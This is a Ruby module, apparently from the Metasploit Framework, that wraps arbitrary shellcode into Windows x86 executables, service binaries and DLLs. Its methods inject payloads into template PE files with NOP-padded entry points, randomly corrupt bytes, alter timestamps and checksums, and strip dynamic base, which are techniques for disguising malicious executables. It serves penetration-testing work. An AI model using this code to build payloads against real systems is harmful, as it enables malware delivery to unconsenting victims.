Path: blob/master/lib/msf/util/exe/windows/x86.rb
36043 views
module Msf::Util::EXE::Windows::X861include Msf::Util::EXE::Common2include Msf::Util::EXE::Windows::Common34def self.included(base)5base.extend(ClassMethods)6end78module ClassMethods9# # Construct a Windows x86 PE executable with the given shellcode.10# # to_win32pe11# #12# # @param framework [Msf::Framework] The Metasploit framework instance.13# # @param code [String] The shellcode to embed in the executable.14# # @param opts [Hash] Additional options.15# # @return [String] The constructed PE executable as a binary string.1617# def to_win32pe(framework, code, opts = {})18# # Use the standard template if not specified by the user.19# # This helper finds the full path and stores it in opts[:template].20# set_template_default(opts, 'template_x86_windows.exe')2122# # Read the template directly from the path now stored in the options.23# pe = File.read(opts[:template], mode: 'rb')2425# # Find the tag and inject the payload26# bo = find_payload_tag(pe, 'Invalid Windows x86 template: missing "PAYLOAD:" tag')27# pe[bo, code.length] = code.dup28# pe29# end3031# to_win32pe32#33# @param framework [Msf::Framework]34# @param code [String]35# @param opts [Hash]36# @option opts [String] :sub_method37# @option opts [String] :inject, Code to inject into the exe38# @option opts [String] :template39# @option opts [Symbol] :arch, Set to :x86 by default40# @return [String]41def to_win32pe(framework, code, opts = {})4243# For backward compatibility, this is roughly equivalent to 'exe-small' fmt44if opts[:sub_method]45if opts[:inject]46raise RuntimeError, 'NOTE: using the substitution method means no inject support'47end4849# use50return self.to_win32pe_exe_sub(framework, code, opts)51end5253# Allow the user to specify their own EXE template54set_template_default(opts, "template_x86_windows.exe")5556# Copy the code to a new RWX segment to allow for self-modifying encoders57payload = win32_rwx_exec(code)5859# Create a new PE object and run through sanity checks60pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)6162#try to inject code into executable by adding a section without affecting executable behavior63if opts[:inject]64injector = Msf::Exe::SegmentInjector.new({65:payload => code,66:template => opts[:template],67:arch => :x86,68:secname => opts[:secname]69})70return injector.generate_pe71end7273text = nil74pe.sections.each {|sec| text = sec if sec.name == ".text"}7576raise RuntimeError, "No .text section found in the template" unless text7778unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)79raise RuntimeError, "The .text section does not contain an entry point"80end8182p_length = payload.length + 2568384# If the .text section is too small, append a new section instead85if text.size < p_length86appender = Msf::Exe::SegmentAppender.new({87:payload => code,88:template => opts[:template],89:arch => :x86,90:secname => opts[:secname]91})92return appender.generate_pe93end9495# Store some useful offsets96off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)97off_beg = pe.rva_to_file_offset(text.base_rva)9899# We need to make sure our injected code doesn't conflict with the100# the data directories stored in .text (import, export, etc)101mines = []102pe.hdr.opt['DataDirectory'].each do |dir|103next if dir.v['Size'] == 0104next unless text.contains_rva?(dir.v['VirtualAddress'])105delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg106mines << [delta, dir.v['Size']]107end108109# Break the text segment into contiguous blocks110blocks = []111bidx = 0112mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|113bbeg = bidx114bend = mine[0]115blocks << [bidx, bend-bidx] if bbeg != bend116bidx = mine[0] + mine[1]117end118119# Add the ending block120blocks << [bidx, text.size - bidx] if bidx < text.size - 1121122# Find the largest contiguous block123blocks.sort!{|a,b| b[1]<=>a[1]}124block = blocks.first125126# TODO: Allow the entry point in a different block127if payload.length + 256 >= block[1]128raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})"129end130131# Make a copy of the entire .text section132data = text.read(0,text.size)133134# Pick a random offset to store the payload135poff = rand(block[1] - payload.length - 256)136137# Flip a coin to determine if EP is before or after138eloc = rand(2)139eidx = nil140141# Pad the entry point with random nops142entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)143144# Pick an offset to store the new entry point145if eloc == 0 # place the entry point before the payload146poff += 256147eidx = rand(poff-(entry.length + 5))148else # place the entry pointer after the payload149poff -= [256, poff].min150eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length151end152153# Relative jump from the end of the nops to the payload154entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')155156# Mangle 25% of the original executable1571.upto(block[1] / 4) do158data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")159end160161# Patch the payload and the new entry point into the .text162data[block[0] + poff, payload.length] = payload163data[block[0] + eidx, entry.length] = entry164165# Create the modified version of the input executable166exe = ''167File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}168169a = [text.base_rva + block.first + eidx].pack("V")170exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a171exe[off_beg, data.length] = data172173tds = pe.hdr.file.TimeDateStamp174exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")175176cks = pe.hdr.opt.CheckSum177unless cks == 0178exe[exe.index([cks].pack('V')), 4] = [0].pack("V")179end180181exe = clear_dynamic_base(exe, pe)182pe.close183184exe185end186187# to_winpe_only188#189# @param framework [Msf::Framework] The framework of you want to use190# @param code [String]191# @param opts [Hash]192# @param arch [String] Default is "x86"193def to_winpe_only(framework, code, opts = {}, arch=ARCH_X86)194195# Allow the user to specify their own EXE template196set_template_default(opts, "template_#{arch}_windows.exe")197198pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)199200exe = ''201File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}202203pe_header_size = 0x18204entryPoint_offset = 0x28205section_size = 0x28206characteristics_offset = 0x24207virtualAddress_offset = 0x0c208sizeOfRawData_offset = 0x10209210sections_table_offset =211pe._dos_header.v['e_lfanew'] +212pe._file_header.v['SizeOfOptionalHeader'] +213pe_header_size214215sections_table_characteristics_offset = sections_table_offset + characteristics_offset216217sections_header = []218pe._file_header.v['NumberOfSections'].times do |i|219section_offset = sections_table_offset + (i * section_size)220sections_header << [221sections_table_characteristics_offset + (i * section_size),222exe[section_offset,section_size]223]224end225226addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint227228# look for section with entry point229sections_header.each do |sec|230virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]231sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]232characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]233234if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)235importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]236if (importsTable - addressOfEntryPoint) < code.length237#shift original entry point to prevent tables overwriting238addressOfEntryPoint = importsTable - code.length + 4239240entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset241exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')242end243# put this section writable244characteristics |= 0x8000_0000245newcharacteristics = [characteristics].pack('V')246exe[sec[0],newcharacteristics.length] = newcharacteristics247end248end249250# put the shellcode at the entry point, overwriting template251entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)252exe[entryPoint_file_offset,code.length] = code253exe = clear_dynamic_base(exe, pe)254exe255end256257# to_win32pe_old258#259# @param framework [Msf::Framework] The framework of you want to use260# @param code [String]261# @param opts [Hash]262def to_win32pe_old(framework, code, opts = {})263264payload = code.dup265# Allow the user to specify their own EXE template266set_template_default(opts, "template_x86_windows_old.exe")267268pe = ''269File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}270271if payload.length <= 2048272payload << Rex::Text.rand_text(2048-payload.length)273else274raise RuntimeError, "The EXE generator now has a max size of 2048 " +275"bytes, please fix the calling module"276end277278bo = pe.index('PAYLOAD:')279unless bo280raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"281end282pe[bo, payload.length] = payload283284pe[136, 4] = [rand(0x100000000)].pack('V')285286ci = pe.index("\x31\xc9" * 160)287unless ci288raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""289end290cd = pe.index("\x31\xc9" * 160, ci + 320)291unless cd292raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""293end294rc = pe[ci+320, cd-ci-320]295296# 640 + rc.length bytes of room to store an encoded rc at offset ci297enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)298lft = 640+rc.length - enc.length299300buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)301pe[ci, buf.length] = buf302303# Make the data section executable304xi = pe.index([0xc0300040].pack('V'))305pe[xi,4] = [0xe0300020].pack('V')306307# Add a couple random bytes for fun308pe << Rex::Text.rand_text(rand(64)+4)309pe310end311312# to_win32pe_exe_sub313#314# @param framework [Msf::Framework] The framework of you want to use315# @param code [String]316# @param opts [Hash]317# @return [String]318def to_win32pe_exe_sub(framework, code, opts = {})319# Allow the user to specify their own DLL template320set_template_default(opts, "template_x86_windows.exe")321opts[:exe_type] = :exe_sub322exe_sub_method(code,opts)323end324325# Embeds shellcode within a Windows PE file implementing the Windows326# service control methods.327#328# @param framework [Object]329# @param code [String] shellcode to be embedded330# @option opts [Boolean] :sub_method use substitution technique with a331# service template PE332# @option opts [String] :servicename name of the service, not used in333# substitution technique334#335# @return [String] Windows Service PE file336def to_win32pe_service(framework, code, opts = {})337# Allow the user to specify their own service EXE template338set_template_default(opts, "template_x86_windows_svc.exe")339opts[:exe_type] = :service_exe340exe_sub_method(code,opts)341end342343# to_win32pe_dll344#345# @param framework [Msf::Framework] The framework of you want to use346# @param code [String]347# @param opts [Hash]348# @option [String] :exe_type349# @option [String] :dll350# @option [String] :inject351# @return [String]352def to_win32pe_dll(framework, code, opts = {})353flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil354set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)355opts[:exe_type] = :dll356357if opts[:inject]358to_win32pe(framework, code, opts)359else360exe_sub_method(code, opts)361end362end363364365# to_win32pe_dccw_gdiplus_dll366#367# @param framework [Msf::Framework] The framework of you want to use368# @param code [String]369# @param opts [Hash]370# @option [String] :exe_type371# @option [String] :dll372# @option [String] :inject373# @return [String]374def to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})375set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')376to_win32pe_dll(framework, code, opts)377end378end379class << self380include ClassMethods381end382end383384385